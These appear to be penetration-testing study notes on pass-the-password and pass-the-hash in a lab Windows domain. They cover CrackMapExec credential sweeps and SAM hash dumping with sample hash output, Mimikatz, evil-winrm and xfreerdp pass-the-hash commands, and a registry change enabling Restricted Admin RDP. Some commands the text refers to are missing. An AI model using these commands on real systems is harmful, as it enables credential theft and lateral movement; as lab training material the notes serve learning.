Pass the Password / Hash
Pass the password
CrackMapExec
Install:
sudo apt install crackmapexecPass the password on the domain:
crackmapexec smb 10.0.2.0/24 -u fcastle -d DOMAIN.local -p Password1If the password is the same for another machine in the network we will get ownership on this new machine too
┌──(root💀kali)-[~kali]
└─# crackmapexec smb 10.0.2.0/24 -u fcastle -d MARVEL.local -p Password1
SMB 10.0.2.5 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:False)
SMB 10.0.2.4 445 THEDEFENDER [*] Windows 10.0 Build 19041 x64 (name:THEDEFENDER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.2.15 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.2.5 445 HYDRA-DC [+] MARVEL.local\fcastle:Password1
SMB 10.0.2.4 445 THEDEFENDER [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
SMB 10.0.2.15 445 THEPUNISHER [+] MARVEL.local\fcastle:Password1 (Pwn3d!)We can also add --sam to the previous command to dump the sam file here we got 5 sam hashes
┌──(root💀kali)-[~kali]
└─# crackmapexec smb 10.0.2.0/24 -u fcastle -d MARVEL.local -p Password1 --sam
SMB 10.0.2.15 445 THEPUNISHER [*] Windows 10.0 Build 19041 x64 (name:THEPUNISHER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.2.5 445 HYDRA-DC [*] Windows 10.0 Build 17763 x64 (name:HYDRA-DC) (domain:MARVEL.local) (signing:True) (SMBv1:False)
SMB 10.0.2.4 445 THEDEFENDER [*] Windows 10.0 Build 19041 x64 (name:THEDEFENDER) (domain:MARVEL.local) (signing:False) (SMBv1:False)
SMB 10.0.2.15 445 THEPUNISHER [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
SMB 10.0.2.5 445 HYDRA-DC [+] MARVEL.local\fcastle:Password1
SMB 10.0.2.4 445 THEDEFENDER [+] MARVEL.local\fcastle:Password1 (Pwn3d!)
SMB 10.0.2.15 445 THEPUNISHER [+] Dumping SAM hashes
SMB 10.0.2.4 445 THEDEFENDER [+] Dumping SAM hashes
SMB 10.0.2.15 445 THEPUNISHER Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.0.2.4 445 THEDEFENDER Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.0.2.15 445 THEPUNISHER Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.0.2.4 445 THEDEFENDER Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.0.2.15 445 THEPUNISHER DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.0.2.4 445 THEDEFENDER DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.0.2.15 445 THEPUNISHER WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e6cedee56d27d175f48042b53cb6b242:::
SMB 10.0.2.15 445 THEPUNISHER Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
SMB 10.0.2.15 445 THEPUNISHER [+] Added 5 SAM hashes to the database
SMB 10.0.2.4 445 THEDEFENDER WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:25e61d7e5702c678e3be8711c03b7837:::
SMB 10.0.2.4 445 THEDEFENDER Jessica Jones:1001:aad3b435b51404eeaad3b435b51404ee:c39f2beb3d2ec06a62cb887fb391dee0:::
SMB 10.0.2.4 445 THEDEFENDER [+] Added 5 SAM hashes to the databaseTroubleshot crackmapexec
If you get this error
configparser.NoSectionError: No section: 'BloodHound'You need to run
locate cme.confOnce you find it you can add these lines or just set bh_enabled to False if all the lines are already here.
psexec
We can also use psexec to try to get a shell on the other machine
Pass the Hash
Methodology
Here is what we can do after dumping the hashes:
Crack them with hashcat
Use them with tools like: smbclient or pth-smbclient, psexec, wmiexec or pth-wmic, rpcdump or pth-rpcclient, ...
See here for detailed explainations on how to use the mentioned tools
Impacket - Secretsdump.py
We can dump hashes from our compromised machines in the network
Crack NTLM hashes
Hashcat
Pass the Hash Attack
Note: ntlmv1 can be passed but ntlmv2 can not.
NetExec (formerly known as Crackmapexec)
Now that Crackmapexec is not supported anymore the same commands should work with NetExec
To pass the hash in the following line we will only need the last part after the last semicolon (only the NTHash):
Here is the structure of the hash: User Name:ID:LMHASH:NTHASH::: With this: Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
We will use this: 64f12cddaa88057e06a81b54e73b949b
We will then use this command:
We would get something like this:
PSexec
We can use the same attack with psexec to get a shell except we will be using the full hash For this Frank Castle:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b::: We will use this: aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b
pth winexe
pth-winexe -U 'admin%hash' //10.10.67.135 cmd.exe
Mimikatz on Windows
mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit/user- The user name we want to impersonate./rc4or/NTLM- NTLM hash of the user's password./domain- Domain the user to impersonate belongs to. In the case of a local user account, we can use the computer name, localhost, or a dot (.)./run- The program we want to run with the user's context (if not specified, it will launch cmd.exe).
PowerShell Invoke-TheHash on Windows
When using Invoke-TheHash, we have two options: SMB or WMI command execution. To use this tool, we need to specify the following parameters to execute commands in the target computer:
Target - Hostname or IP address of the target.
Username - Username to use for authentication.
Domain - Domain to use for authentication. This parameter is unnecessary with local accounts or when using the @domain after the username.
Hash - NTLM password hash for authentication. This function will accept either LM:NTLM or NTLM format.
Command - Command to execute on the target. If a command is not specified, the function will check to see if the username and hash have access to WMI on the target.
Getting a reverse shell
To create a simple reverse shell using PowerShell, we can use revshells, set our IP 172.16.1.5 and port 8001, and select the option PowerShell #3 (Base64).
With evil-winrm in Linux
If SMB is blocked or we don't have administrative rights, we can use this alternative protocol to connect to the target machine.
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
Pass the hash with rdp in Linux
Restricted Admin Mode, which is disabled by default, should be enabled on the target host
This can be enabled by adding a new registry key DisableRestrictedAdmin (REG_DWORD) under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa with the value of 0. It can be done using the following command:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949BWhen the registry key
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicyis set to 0, it means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to perform remote administration tasks. Setting it to 1 allows the other local admins as well.
Resources
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